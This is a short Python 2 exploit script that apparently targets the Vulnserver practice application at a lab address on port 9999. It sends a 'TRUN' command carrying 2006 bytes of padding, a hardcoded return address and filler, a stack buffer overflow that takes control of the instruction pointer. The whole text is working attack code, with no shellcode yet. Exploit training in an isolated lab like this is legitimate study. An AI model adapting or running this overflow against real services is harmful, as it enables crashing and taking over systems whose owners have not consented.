#!/usr/bin/python
import socket

server = '192.168.56.101'
sport = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
buffer = ''
buffer += 'A'*2006
buffer += '\x8d\xef\x34\x77'
buffer += 'C'*(5000-2006-4)
s.send(('TRUN .' + buffer + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
